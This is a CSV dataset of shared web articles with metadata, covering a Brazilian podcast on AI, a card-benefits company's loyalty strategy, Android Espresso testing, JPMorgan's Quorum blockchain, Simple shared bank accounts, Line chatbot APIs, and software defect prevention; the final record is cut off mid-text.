1475510277,CONTENT SHARED,-1771108209511321547,-1130272294246983140,4393555317645464794,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://www.b9.com.br/67340/podcasts/braincast/braincast-207-revolucao-das-maquinas-inteligentes/,Braincast 207 - A Revolução das Máquinas Inteligentes,"A inteligência artificial povoa e estimula nossa imaginação há décadas, desde as primeiras incursões na ficção científica até se tornar palpável e real nos últimos anos. No Braincast 207 , discutimos as implicações das máquinas inteligentes na nossa vida. Carlos Merigo , Luiz Yassuda , Cris Dias e Tales Cione conversam com Thiago Rotta , líder de Soluções para Watson da IBM na América Latina, para descobrir quando a tecnologia pode ser considerada inteligente. Que áreas a computação cognitiva está revolucionando? Robôs podem ter consciência? Existe ameaça real de uma IA maligna? O que é singularidade? E ainda relembram as IAs mais marcantes da ficção. > OUÇA ======== Conheça ""Westworld"", a grande produção original HBO do ano Esse episódio do Braincast é um oferecimento de HBO Imagine um mundo de velho oeste, ambientado por robôs pré-programados, em que você pode realizar todos os seus sonhos, seja nobre ou depravado. Isso é ""Westworld"" , a grande produção original HBO do ano, que estreia no domingo, dia 2 de outubro, às 23 horas. A série é uma odisseia obscura sobre a disseminação da consciência artificial em robôs, criada, escrita e dirigida por Jonathan Nolan, roteirista de ""Interestelar"" e ""Batman: O Cavaleiro das Trevas"" . Com produção executiva de J.J. Abrams. Composta de 10 episódios, a primeira temporada tem no elenco Anthony Hopkins, Ed Harris, Evan Rachel Wood, James Marsden, Thandie Newton e Rodrigo Santoro. Você não tem nenhuma desculpa pra perder o primeiro episódio. A HBO vai estar com o sinal aberto no domingo, 2 de outubro, e o episódio fica disponível ao mesmo tempo no HBO GO. Além disso, você vai poder assistir de graça no HBO GO durante toda a segunda-feira, dia 3 de outubro. Então não perca. Sintonize a HBO no domingo ou acesse hbogo.com.br e assista. ======== ======== PATREON DO BRAINCAST Saiba como se tornar um patrono do Braincast aqui e ganhar lindas recompensas. ======== Críticas, comentários, sugestões para [email protected] ou nos comentários desse post.",pt
1475514624,CONTENT SHARED,-3850803681204406658,-1602833675167376798,-2314325074994113316,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,https://www.linkedin.com/pulse/novas-frentes-de-trabalho-da-alelo-v%C3%A3o-a%C3%A7%C3%B5es-fidelidade-cardmonitor-,Novas frentes de trabalho da Alelo vão de ações de fidelidade a novos meios de pagamento,"Fidelização - ""Toda estratégia da companhia é multiproduto, single client. Queremos ser o principal parceiro provedor para cada cliente que a gente atende. Trata-se de um projeto holístico, que vale para todos os produtos, claro que alguns produtos por comportamento e volume de uso, são mais acessados do que outros, mas o projeto é de integração do portfólio completo, tanto dos cartões de benefícios quanto os pré-pagos."" Ofertas e Vantagens - ""O usuário era um agente mais periférico na relação. Há pouco menos de um ano, começamos a fazer um processo muito pesado de captura das informações dos usuários para acessar nossa base de informações. O Meu Alelo é toda a plataforma que a gente construiu para fazer uma comunicação direta com o usuário, que inclui web e smartphone, via aplicativo. Antes, eu dependia da área de RH para me comunicar com esse usuário final. Tínhamos todo o rastro: onde comia, horários e quais valores transacionava; mas não tínhamos os dados da pessoa para gerar a oferta. Então, começamos a tratar esses dados. Ao se cadastrar na plataforma, o usuário me dá os dados dele e diz se aceita ou não receber ofertas por e-mail, porque por push independe do opt-in. Mesmo assim, temos 70% dizendo que querem receber porque veem valor. Nesse nosso setor, os produtos são comoditizados. Então, começamos a criar diferenciação no usuário."" Benefícios para usuários - ""Começamos a gerar valor tanto para o usuário, quanto para o estabelecimento comercial, quanto para o gestor de RH. Para o usuário, o importante é vantagem, preço, desconto. Cerca de 70% da nossa base ganha até 05 salários mínimos; e a carga média do cartão, no geral, cobre 17 dias - meio mês. Acaba o saldo. Por isso, criamos a máxima: 'na Alelo, o cartão do usuário vale mais'. Toda campanha que fizemos, dividimos em duas frentes: uma, que chamamos de Plataforma de Descontos, que vai para toda a base do core da Alelo, com dicas de restaurantes, postos de gasolina, supermercados - dentro do meu core business. O cliente vai até estes estabelecimentos, passa o cartão Alelo e ganha o desconto. A outra frente atende as outras necessidades do usuário, que também consome brinquedo, vestuário, calçado, etc. Pesquisamos quais setores eram os mais importantes e passamos a fazer acordos de oferta para parceiros. Desta forma, nosso negócio se tornou um canal de mídia efetivo. Primeiro, porque qualquer empresa se interessa por uma base qualificada com mais de 4 milhões de usuários onde tenho o poder de comunicação direta com eles e, segundo, temos alcançado resultados surpreendentes. Fizemos alguns testes pilotos e tiramos os sites do ar. Os parceiros começaram a querer entender como, em um período curto de tempo, tínhamos feito uma venda até cinco vezes maior do que canais tradicionais de mídia. No Dia dos Namorados, fizemos uma parceria com o e-commerce Juliana Flores e tiramos o site deles do ar com tamanha demanda, gerada com um push notification . E como conseguimos? Você pega uma pessoa de renda mais baixa, que precisa de desconto, um canal forte (o usuário depende do meu canal para checar saldo, extrato, e olha todos os dias) e uma oferta que faz sentido para ele. Além disso, os dados são confiáveis porque o usuário quer que eu me comunique com ele. Meu objetivo não é ganhar dinheiro; às vezes o varejista me dá o melhor desconto que ele consegue, superando o do balcão, e isso é valor para mim. Se ele não consegue me pagar, eu cobro um rebate por faixa de venda, porém o que é mais importante é ele dar mais desconto para o meu usuário."" Alelo Promo com foco no estabelecimento - ""Para a plataforma de desconto, montamos uma estrutura com seis estatísticos. Na área de inteligência de mercado, a gente tem uma gama de pessoas só fazendo análise de estatísticas, investimos na plataforma SAS [sistema integrado de aplicações para o processamento e análise estatística de dados] e compramos uma ferramenta da IBM de disparo de campanha. Fizemos também um acordo bastante interessante com a Cielo e criamos a solução Alelo Promo, que permite marcar individualmente as pessoas que irão receber a promoção. A grande dificuldade que eu tinha para convencer um restaurante era de que levaríamos fluxo de pessoas [através dos descontos] que não iriam ao estabelecimento. Se você frequenta um lugar e ganha desconto, isto não é mais valor para o lojista. Com o Alelo Promo, começamos a marcar cliente por cliente e damos o desconto no cartão do usuário. Carrego o POS do estabelecimento para isso. O processo funciona assim: encontro uma região, mapeio a quantidade de usuários que estão lá, os que frequentam aquele restaurante parceiro da Alelo, estudo onde essas pessoas consomem e para onde elas podem migrar, de acordo com custo do prato, o tipo da comida e localização. Por exemplo, um usuário que consome em um restaurante japonês, também pode frequentar um tailandês, um de frutos do mar, etc. Também não adianta mandar uma pessoa para um lugar onde ela não tenha a mínima afinidade. Além disso, trabalhamos com um raio máximo de três quilômetros de distância para enviar uma sugestão de restaurante, com uma rede complementar, desde que, nessa migração - de um local para outro - eu não perca dinheiro como Alelo (de acordo com as taxas os estabelecimentos). Por isso, se tornou uma inteligência de negócio. Isso está sendo feito no Brasil inteiro. Quando visito um estabelecimento, eu vendo a plataforma. Ao invés de preencher uma cartela - depois de 10 almoços, ganhe um -, sujeita a fraude, de difícil controle, o cliente perde e não garante um cliente novo, o estabelecimento vê a plataforma com bons olhos. Uma das coisas mais complexas de uma promoção é o garçom ou o balconista saber da promoção. No nosso caso, a promoção é entre o POS e o cliente."" Autosserviço - ""Estamos trabalhando na plataforma também a questão do autosserviço, queremos que o usuário seja menos dependente do canal humano por telefone e consiga fazer tudo via aplicativo, como bloquear o cartão, pedir segunda via, fazer um chat online com o operador, etc. Esse é um projeto de curto prazo para nós."" Pagamentos - ""Contratamos uma equipe de inovação que trabalha em parceria com a minha diretoria para observar tendências. Temos feito várias coisas. Fizemos uma parceria com a rede Vivenda do Camarão. A ideia é fazer um check in dos restaurantes que aceitam a plataforma. Assim, o cliente não precisa pegar fila e consegue pagar do aplicativo da Alelo, sem ir até o caixa. Esse aplicativo também permite dividir a conta; cada pessoa abre sua comanda individualmente, vê o que está consumindo, o que a mesa inteira está consumindo e, com isso, consegue dividir a conta a partir do que cada integrante da mesa pediu ou igualmente, se for o caso. Tudo é feito pela integração das plataformas com os sistemas de caixa. Estamos fazendo o teste piloto com usuários e funcionários da Alelo, há cerca de três meses. Mas, estamos ampliando para outros estabelecimentos"". Parceria exclusiva - ""Também fizemos um teste piloto em parceria com o Peixe Urbano, que apresentou uma boa aceitação. O usuário consegue pagar com Alelo no Peixe Urbano e, além do desconto do site, ao pagar com Alelo tem mais desconto. Somos o primeiro cartão de benefícios aceito em uma plataforma de compra coletiva."" Resultados - ""Realizamos a primeira pesquisa com os usuários e ainda estamos depurando os resultados. Entrevistamos dois públicos, usuários Alelo e usuários Alelo que já foram usuários da concorrência, mas o que posso adiantar é que o resultado foi muito positivo. Também podemos mensurar os resultados com a quantidade de resgates, que é excepcional, e com a redução de custos do autoatendimento. A partir do momento que as pessoas usam mais o aplicativo, elas ligam menos para a central. Já temos uma queda de quase 5% no volume de ligações"". Esta entrevista foi originalmente publicada no Flash CardMonitor de 22 a 29 de agosto de 2016",pt
1475518627,CONTENT SHARED,-6654470039478316910,-4465926797008424436,6720261163003363785,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,https://realm.io/news/chiu-ki-chan-advanced-android-espresso-testing/,Advanced Android Espresso,"Espresso is a very powerful UI testing framework for Android. Chiu-Ki Chan describes several techniques to make the most of it, running through: combining matchers ( withParent , isAssignableFrom ) to pinpoint your view; onData and RecyclerViewAction s to test ListView and RecyclerView ; Custom ViewAction and ViewAssertion ; and using Dagger and Mockito to write repeatable tests. What is Espresso? (00:28) Espresso is automatic UI testing ( ""no hands testing!"" ). Once you write the code, Espresso will execute using events: do various things that as a normal user you will do, then verify the test (different from JUnit testing where there is no UI element). In Espresso you can see what is happening. It is a first-party library (Google wrote it under the Android testing support library ). It simulates User interactions (clicking, typing), and it does automatic synchronization of test action with app UI . Espresso will watch the UI thread (the thread that renders all the pixels on screen). Before Espresso, I used ActivityInstrumentationTestCase2 : my test would fail because the button was not drawn yet and I was trying to click on it. You put in some Sleep statements hoping that after Sleeping the pixels will be drawn and then you can click on it. With the automatic synchronization Espresso will loop the Sleep until the UI thread is idle then it will verify and click things. You do not need to Sleep. Espresso has a fluent API (can tack things one after another). The first thing: locate the view that you want to act on. Espresso has the concept of ViewMatchers. Once you locate the view then you can perform actions to it (typing, clicking, swiping). You can check using ViewAssertions. Formula Basic Espresso test: The Hello World app. It has a greet button - when you click on it it will disable it. Using this formula we first need to locate this view: ViewMatcher Espresso comes with a ViewMatcher - withId. In our case we want to look for the view with the R.id.greet_button . We will use the ViewAction click() to click on it. Then, we want to assert that the greet button is no longer enabled. ViewAction In this ViewAssertion (see below), instead of it is not enabled, we are doing it is enabled and then negating it. You can combine different Matchers and Assertions to do exactly what you need. ViewAssertion More info: Espresso library (05:03) Highlighted in yellow (withId, click, matches, isEnabled): comes within Espresso. They are Android-specific: Hamcrest library (06:00) There is also not , from the Hamcrest library (Java library). It has different logic startWith , endWith , if we are dealing with strings and not and allOf . Together with the Espresso patch (Android-specific) and the Java pod you can do very powerful expressions. More Info: Combining Matchers (06:17) Let's say that you wrote this app and you want to verify the Toolbar title is displaying the correct string. Your layout does not contain that view (you do not have the ID). To find this view, we will use Hierarchy Viewer (examines the hierarchy of your app). You have a root node: all the different views hang off it and it shows you the structure (on the screen, not just the path that you set with setContentView ). And the TextView is the one that has the ""My Awesome Title"" string (the one that you want to verify). We have located the view that we want to match. Bad news: There is no ID. But using all the different Matchers, I know that this TextView has a parent (Toolbar). It can do a combination - I will find a view that has two conditions isAssignableFrom : 1) TextView (I am a TextView, I want to find a view that is a TextView), 2) Toolbar (find that one TextView that is under a Toolbar). The reason why we want to do that with two conditions (instead of just the TextView one) is that there can be multiple TextViews. To pinpoint that one particular view I will use allOf Matcher. Then I wrap it into a helper function; every time I want to match a Toolbar I can just call Match Toolbar and then pass a string. Custom Matchers (09:07) You can write a custom Matcher. The previous example works, but it is very fragile (Toolbar class: today, it contains the TextView as the direct child of a Toolbar; tomorrow, they may want to wrap it inside CoordinatorLayout because is not a part of public API). The Toolbar class has a function toolbar.getTitle() which, since it is in the public API, it is going to be stable. Instead of trying to pinpoint the TextView, the ViewMatcher takes on a view that is assignable from the Toolbar class. We are matching on the Toolbar class and we are going to verify that it has the Toolbar title (which is a custom Matcher). With Toolbar title generates a custom Matcher. The BoundedMatcher only works on the Toolbar. We have access to the Toolbar functions. In Match Safely function we wanted to use the getTitle out of the Toolbar and matches the text that we give it. Instead of passing a string you want to match, you are passing a TextMatcher . This way you can use all the Hamcrest test Matchers (such as equalTo ), which is your plain old comparison. Y You can do Prefix Matching, Suffix Matching or Contain String (if you just want the string to be anywhere). If you want to use a function that is not a part of Espresso you can write your own Matcher. More info: ListView operates on a different way. Instead of looking for a view, you are looking for a particular object in the Adapter that is supporting the ListView. That is why your onData takes an object Matcher. You have the same Perform, View Action, Check, View Assertion. And on top, Data options. You can have multiple ListViews. You can pinpoint it in with inAdapterview or you can look inside the item and match on the particular child view. I have a ListView and it has a list of numbers. I want to run a test to verify that item 27 stays 27. I am looking for the item that stays 27, it will scroll and look for it. The basic setup of the app: I have an Adapter (backed by an array of integers), and I will set it as the data for this ListView . The item is a wrapper around a simple integer that has a two string function (the ArrayAdapter knows what to display). Also, when you click on an item the footer TextView it will display that value. We also want to verify that. We are going to verify that the bottom TextView is not displayed. I said, withID this text and I want to match it as not displayed. I am going to use the onData function to look for the item with value 27 inside the AdapterView that has the ID list. Once I find it I will click on it. After I click on it, I will then verify that the bottom TextView is containing the text 27 and also it is also displayed. You have the onView with text ID. And I have performed two checks. Rather than looking for the view again, I can chain them. It will check for the first condition (it has the text 27), and then it will check that it is displayed. You can keep stacking on things, you can perform actions and check, and then perform action. It does not need to go look for the view again. You already have the view in your hand. withValue is a custom Matcher that I wrote. BoundedMatcher takes in an integer and in the Match Safely function it compares to the value of the item using strings. It is a string comparison. We cannot use onData: RecyclerView is a ViewGroup (not AdapterView ). The onData operator only works on AdapterView - it is not just ListView , you can use it with GridView as well. We are going back to using the onView View Matchers. We will use that onView and perform check formula. To click on item is different. We will do the same pre-condition checking that the text is not displayed, but to click on that particular list item we are going to say that onView with ID RecyclerView . We are operating on that RecyclerView level, perform, and then we will use RecyclerViewActions (from the Espresso library). We will have a specific action ( actionOnItemAtPosition(27) ). You look for position item 27 and perform the action click on it. actionOnItemAtPosition is very different (see code below): we are no longer doing Data Matching and we need to look for the position and then perform it all at once in this one giant View Action in it. The rest of the code is the same: we will continue to verify that it displays 27 and it is not hidden. This replaced the middle line (onView). Two ways of thinking, one the AdapterView of looking for things focuses on the data, but if you are doing RecyclerView then you have to go back and focus on the view again. You find the RecyclerView and act on it with the RecyclerViewActions . There are a couple of other ones. If you do not want to look for an at position you can also look for the View Holder which then you have a Matcher that is looking for a specific ViewHolder or you can also do the action item with a ViewMatcher . Make sure that you know they are different. More information: Idling Resource (19:43) Espresso has this notion of the UI queue being idle - no more UI events handled, are queued. That includes clicks, rendering. It also has the notion of idling: the AsyncTask pool is empty. But beyond that it does not know how to wait for your app to be ready to go. Espresso provides a nice framework for you to write your own idling conditions (Idling Resources). Example : Wait until an IntentService is not running ( IntentServiceIdlingResource ). Whenever you write an Item Resource you need to Override three functions: getName , registerIdleTransitionCallback , and isIdleNow . Make sure that you have a unique name (e.g. class name) because you are going to be registering this Idling Resource later, and you use the name as the key. Then register the IdleTransitionCallback you stash that callback into a particular number variable so that in isIdleNow now you can call it when you determine that whatever that you are waiting for is done. You can tell Espresso, ""I am idle, go ahead"". In our particular case we are going to define idle as the IntentService is not running ( isIntentServiceRunning() ). Then I have a callback, I will call it and it will return the boolean. I am going to query the ActivityManager for the specific name (IntentService). If it is there then it is running, I will return true; if I could not find it then I return false. After you have defined your custom Idling resource, you need to register it (most of the time this is JUnit4 syntax). I have an annotation that is before and after - you can register it before your tests run. And then after your test is run unregister it. More info: Dagger and Mockito (31:03) Dagger is a framework for Dependency injection: you have a central repository of classes. We are trying to make tests work: we are doing to use Dagger to provide different objects for app and test; we will use Mockito to mock objects in test. In Dagger2 you are going to define a Component (a collection of different modules that can provide classes to your app and your test). In our case we are going to do something with the clock. It is a classic example because if your app depends on the current time then you cannot verify anything because the current time changes. In the ApplicationComponent we are going to have a real clock module (provides the actual current time) and in the test we are going to have a module that is mocked (using annotation). You have the app's Component and then you have the list of Modules. Dagger is going to then go ahead and do co-generation for you at compile time. You can then call these functions in your app. In sum, you have an ApplicationComponent that provides a clock module and then you also have a TestComponent that provides a mock clock module. The ApplicationComponent only injects into the main activity, it is not aware of the existence of tests. The TestComponent need to inject to both and they are singletons. If you are providing this particular object and then you are changing it in your test the app is going to use the exact same object so that it gets the same value. In your application, when you are onCreate you are creating the application. DaggerDemoApplication_ApplicationComponent is the auto-generated class. It will go through all your annotations, which will allow you to create a component (collection of modules). In your test you are going to be able to use the setComponent function which is defined on the activity, which will provide a different set of modules. With Mockito you can control time. In Joba-Time (a pretty popular dateTime libray for Java) dateTime will give you the current day and time. In your test Mockito allows you to say when someone calls the function getNow on my mock clock return this particular point in time. When you run your test you will be able to do something like this. Maybe you have a TextView that displays today's date. You can verify that it will display the string 2008-09-23 because that is the time the clock is going to provide. Without this mocking, you run the test today you return this value, you run the test tomorrow you return this other value. This is the power of combining Mockito and Dagger and Espresso so that they all work together. You can write test that pretends to be a human, but also in a predictable environment so that you can keep running the test and it will pass unless you wrote a bug in your future code. More info - Blog post abotu Mockito - Example repo - Example using the Shared Preferences Running through the basics (ViewMatcher, ViewAction, ViewAssertion) I showed you how to match the Toolbar using two different ways (combining Matchers, writing your own custom Matcher). I went through ListView and RecyclerView, and how they differ. Spent some time on IdlingResource, and Dagger and Mockito to get you to the next level. I have open souced a complete app . It uses: the Google Plus API, the Nearby API and the Database. At first glance it is really hard to test. It asks you to log into Google Plus. I have to set up a device that has a certain Google Plus account and then I have to log in; next thing it is going to use the Nearby API. It will spell a word depending on the name of the person that you are Google Plus profile logged in as. I used the same technique that I described, Dagger, Mockito to mock stuff. Mockito is more advanced because I need to capture the Google sign in with the listener and then replay it right back. It also has other testing. I have some models, POJO's, I set some function then I verify the conditions. I also have UI-less Instrumentation (to test the Database). I am not executing the UI, but I also need context because it is still going through Android classes. And, of course, it also has Espresso. Thank you! Resources & Q&A (32:28) More links: Q: For the combined Joda-Time and, Mockito and Espresso example, where did you initialize Joda-Time? Did you rely on initializing it with the application? Chiu-Ki: I just call new dateTime. Q: You have to initialize it with a context at some point early in your application lifecycle, and it is suggested that you do it in application onCreate. But I know that we have also been talking about separating test environments so that your, your context is perhaps different than it would be in the normal run time. I am wondering do you have to do anything special to initialize Joda-Time in the test context? Chiu-Ki: I do not and so far nothing blew up, but maybe some other library needs the context. It is not specific to Joda-Time. Currently this set-up only has the clock module component. You will have an additional module that is an Android module which is capable of providing a context. Then in your clock module in the constructor it will take in a context which will be provided by the Android module. And Dagger is smart enough to just do essentially Class Matching. And then the Android module raises its hand, I know how to give you a context. And then it will provide that. And then within the clock module, you will be able to use that. Once you have that context in the constructor of your clock module then you can come back here to the getNow function inside your clock module and then use the context there. Q: Question specific to the Dagger2 example that you showed. The difficulty in Dagger2 is really, there is no module override available in Dagger2. I wanted to know what would be your recommend workaround for being able to override specific dependencies inside of your mock modules without having to completely rewrite, the entire module. You want to have code duplication on the test classes and also on the application. Your example only has the clock module which provides only one dependency, but if you have, 50 dependencies and you only need to override just the one. You would not want to create a test module with 49 real classes and only one mock. What would be the best workaround? Chiu-Ki: It has been a pain point for Dagger2, mostly because it is available in Dagger1! Why did you take that away from us? I have not personally encountered that just because the way I set up my modules, but I have heard people, what they have done is that, you have your app source and then your test source. you can have another source that is the common source which contains the modules that are shared between the test and the app and then when you make your component that is for the app you import those, you include those. And then the test also includes the same ones. And then you only implement each thing that is different once. I heard people do that. Q: I ran into one issue I exactly used the same set-up where I had one class, I had a simple UI which was just fetching a list of GitHub issues at the click of a button and the dependency, the API dependency, was being injected by Dagger and I replaced it by a mock inside one of my modules. I only wanted to verify interaction with that mock once the button's clicked. But because that mock did not return any action that would affect the UI thread, then it was hanging forever. I want to verify interaction with a mock, but I do not want to have to code up an action which is going to affect the UI thread. I just want to verify interaction with a mock. Is there a workaround for things like this? Chiu-Ki: It is a network call, except that you are mocking the result; Is that triggered by a button click or any user action? When does the fetching start? Q: You click the button, it talks to that injected mock. Then that injected mock, you are passing a callback method which will just return a list of issues which will populate an adapter, for example. Chiu-Ki: in that case I would expect it to, instead of hang, go too fast. It did not wait until the mock to come back and was starting to verify things. I was not sure why it was behaving that way. I am not able to diagnose why that happened because that is not the expected behavior that I would be. Q: The fix for me was to take that mock and just use Mockito to manually call the callback that the activity was passing. Chiu-Ki: Espresso testing at that point. You do not really need to, because then nobody is clicking anything. Q: The UI's wired up properly with the back end. You click a button and you want to make sure that when Espresso clicks this button then there is interaction with a mock. Meaning that clicking this button effectively tried to do the API call, you do not care about what the API call returned, but you want to verify that there is some interaction with that mock. Chiu-Ki: Write a blog post, Twitter to me and I will take a look because I feel like there is more to what we can describe. Q: I find one of my major pain points is coming up with complex Macthers for hierarchies that are much more complex than what you showed. I was wondering if you have any general suggestions in finding those complex Matchers perhaps with multiple parents and multiple siblings in a way that will not be fragile. Chiu-Ki: My recommendation would be to simplify your View Hierarchy. Wrap things in the CustomView so that semantically they make more sense. The reason why you have all these things laid out is because probably when you are looking at the UI they are not individual buttons and individual tacks. They are probably logical units. I think it will help not just testing, but your actual app and development if you can group them in logical units. Then at that point then you can hide the internal logic and say, this manual item thing has six things inside, but then I can get them with programmatic calls like the getTitle one. Q: One hardest problems is when elements repeat themselves, such as if you are using a ListView and each item of the ListView has several buttons. It can be difficult to find a container maybe with the text you are looking for and then go back down the chain after that to get to the buttons within the hierarchy. Is there anything that would help sort of expose the chain to get to a path? Chiu-Ki: You can see who is a child of whom; that helps you to expose the structure. One thing that you could do is a helper function. You encapsulate that, every time you are trying to mesh this particular way of setting up you can at least repeat it. I basically smell bad code when you tell me that your view explodes with too many children and too many level deep and it is really difficult to find things. Without going through your specific example it is just really hard to give general advice.",en
1475522240,CONTENT SHARED,3715130189384008388,5660542693104786364,-372489257782082371,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://www.coindesk.com/jpmorgan-ethereum-blockchain-quorum/,JPMorgan is Quietly Developing a Private Ethereum Blockchain - CoinDesk,"Wall Street mega-bank JPMorgan has co-developed a private, permissioned version of the ethereum network. The project, presented during a meeting of the Hyperledger technical steering committee last month, was recently demonstrated during the Sibos convention in Geneva. Called Quorum, it was developed in partnership with ethereum startup EthLab, and came out of a working group within the bank known as the Blockchain Center of Excellence. In tandem with the development of Quorum, JPMorgan said it created a software development kit (SDK) aimed at encouraging developers to create applications. According to bank representatives, the code for Quorum will be open sourced and licensed under GPL/LGPL. Amber Baldet, program lead for outfit, explained that JPMorgan is looking to open source its blockchain technology work in order to get more developers involved in the project. Baldet told CoinDesk: ""One of our goals in working with an open-source platform and contributing our work back is to encourage collaboration and innovation. The more people that get involved, the faster we will see adoption challenges addressed and the more robust the system will become."" She went on to describe the project as ""an additional choice"" in the company's toolkit of software offerings aimed at solving business problems. Notably, Quorum is the second major blockchain-inspired offering to come out of the JPMorgan's technology labs. Earlier this year, the bank showcased Juno , a project it called a ""distributed crypto-ledger"" that was designed to enable quick value transfers between network parties. The developers behind Juno departed the bank earlier this year to form their own startup, reported in July. Inside Quorum According to JPMorgan, the project was developed following discussions during the first ethereum developer conference (Devcon1) in 2015. ""While speaking with Jeff Wilcke of EthLab there, we recognized that there was a potential overlap between his goal to build a voting-based consensus mechanism to replace proof-of-work, and our goal to build a high-speed, permissioned ledger,"" Baldet explained. According to Wilcke, the system itself has several elements, involving teams on both the JPMorgan and EthLab side. EthLab manages development on the consensus rules and core changes to the code itself, whereas JPMorgan acts to sign the private messages broadcast across the network. Wilcke explained: ""The JPMorgan chain requires special rules that will allow private transactions, ie there's a separation between public and private contracts. [Public transactions] can be seen by anyone and [private transactions] can only be seen by parties that have access to a key belonging to that particular party."" Wilcke suggested that the work could have some impact on the future of the ethereum network - potentially foreshadowing the intersection of public and private chains - but indicated stopped short of any broad predictions. ""Time will tell,"" he added. Next steps From here, the project will see further iteration following feedback from both participants and industry stakeholders. Baldet said that JPMorgan has no plans to monetize the work, but rather intends for the project to act as a vehicle for connecting with developers in the open-source community. ""While our current applications using Quorum function within JPMorgan, releasing the software is an important stepping stone to launching projects with other organizations,"" Baldet said. Baldet also went on to suggest that the project could serve as a first step toward building a system that could connect private institutions via distributed networks. She concluded: ""While we expect some convergence around a few key 'enterprise-grade' platforms, interoperability will be next year's buzzword."" Images via JPMorgan, TK Kurikawa / Shutterstock.com",en
1475523141,CONTENT SHARED,-2896441888220202695,5660542693104786364,-372489257782082371,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,https://techcrunch.com/2016/09/29/simple-rolls-out-shared-bank-accounts-that-work-for-anyone-including-roommates/,"Simple rolls out shared bank accounts that work for anyone, including roommates","Online banking service Simple is today rolling out a new product : shared accounts. However, unlike joint checking accounts typically shared by spouses, Simple's shared accounts work differently. They allow customers to maintain their own accounts, but quickly fund then switch over to shared accounts to collaborate with each other on financial planning by tracking shared expenses, setting goals, and keeping an eye on the shared account's ""safe-to-spend"" balance, which includes the money not already committed to bill payments and savings. Because customers continue to have their own individual bank account, Simple Shared can be used by anyone who needs to combine their money, including not only those in relationships, but also roommates, siblings, or even parents and their young adult children. Simple Shared With Simple Shared, Simple is looking to change the way people handle shared finances. First of all, the sign-up process for a Shared account is very quick, compared with traditional banking. To get started, the two users just link their individual accounts together, and a shared account is created in seconds. It has also rethought account access. Instead of logging in and out of the different accounts, customers can quickly switch between their individual and shared accounts, with just a few taps. Plus, like individual accounts, Simple Shared accounts offer access to the same feature set, which includes the ability to set savings goals, track your available balance, pay bills, and fund through direct deposits, if desired. It also comes with its own Visa card and doesn't charge any fees. Unfortunately, like individual accounts, the interest rate remains low - only 0.01% - but Simple tells us this will change in the future. What's most interesting is where the product fits in today's broader financial landscape, Simple Shared isn't only a competitor to traditional joint accounts, but also to quick money transfer services like Venmo or Square Cash. That's because you can move money in between your own account and the shared account instantly. So while Venmo might come in handy for splitting the bill at a restaurant, Simple Shared accounts may be better for more things like paying bills with your roommates, given that it's a real bank account either person can access in order to view, manage, and analyze their shared spending and savings. Simple, as you may recall, had originally made a name for itself by ditching fees and modernizing the interfaces customers use to interact with their bank accounts, including on mobile, before being acquired by BBVA , where it still operates independently as its own brand. However, post-acquisition, the service had been slow to deliver on its earlier promises of making banking easy - it flubbed its biggest upgrade , for example, and continued to suffer glitches months after the fact. However, in the years since, Simple has recovered and stabilized, even if it was no longer steadily rolling out new features. That said, the banking service has seen customer growth hit about 50% in the first half of the year, and says it has brought on more customers per month in the past few months than many banks do in a year. In addition, over the past year Simple says it grew by 120%, versus average growth for personal retail checking growth which is about 7% annually. Simple Shared is launching today into beta, and will be adding users to a waitlist, as it expects demand. The service will be available on both web and mobile.",en
1475530010,CONTENT SHARED,6099026883115865746,3609194402293569455,-753312208779123503,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",SP,BR,HTML,http://www.programmableweb.com/news/new-apis-expand-lines-third-party-integration-and-chatbot-capabilities/brief/2016/10/03,New APIs Expand Line's Third Party Integration and Chatbot Capabilities,"Messaging app Line first announced chatbots in March of this year. The launch was a test and the company limtied developers to 10,000 bots. Now, Line will take its chatbot game to the next level with the launch of its Messaging API. The Line Messaging API directly aims to simplify bot creation for the developer community. The API brings three new message types to developers' hands: confirm type (i.e. type that triggers ""yes"" or ""no"" responses), button type (i.e. combines pictures, text and other action buttonns), and carousel type (i.e. allows button type data to display horizontally for multiple content display). ""These new message types sent by chatbots allow companies to realize a smoother Line-based contact point with users for their services and content,"" the company commented in a press release . ""Line plans to introduce even more message types in the future."" In addition to the three new message types available, the Message API also allows chatbots to be included in group chats. To complement the Message API, Line also announced Line Notify. Line Notify constitutes an API service that allows third party apps and services to send notifications to users as Line messages. Namely, users can receive messages regarding external apps/accounts/services without leaving the Line platform. This feature could keep users on the Line platform for more activity. ""[Line Notify] is connected with the Web-task automation tool IFTTT, which means that users can receive weather information, e-mails including specified keywords or other notification messages from various services without anyone performing any additional coding,"" the company continued. In addition to the API release, Line introduced an official SDK. The SDK supports Java, Go, Ruby, PHP, and Perl 5. Line believes the API and SDK combo should make it much easier to create chatbots to engage users on the Line platform. Chatbots are becoming more and more popular for leading messaging platforms to better engage users, and Line's new APIs specifically enable more flexibility and access to the Line platform specifically for chatbot activity.",en
1475553640,CONTENT SHARED,-1251258405608426882,8968131284214320024,-8897727158591758769,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36",NSW,AU,HTML,http://www.softwaretestinghelp.com/poka-yoke/,Use Poka-Yoke Technique to Improve Software Quality,"Software Process Engineering Software Engineering is a discipline that aims at producing high quality software through systematic, well planned approach of software development. It contains many good practices, following the standards to achieve quality product. The three main phases of Software Development are, Analysis - Design - Implementation. To accomplish high quality software it essential to produce defect free product. Defect is the unexpected or undesired behavior that occurs in the product. Anything related to defect is a continual process not a particular state. Defect Management Finding and fixing the defect in early stage of the software development reduces time, rework and money. Finding the defect in later stages always costs multiple times than early stages. It enhances the quality by adding reliability, portability, maintainability etc. Hence it is advisable every company should go with defect management system and defect management team at every stage of the development to attain the good quality in products and to gain the customer confidence. One of such mistake proofing 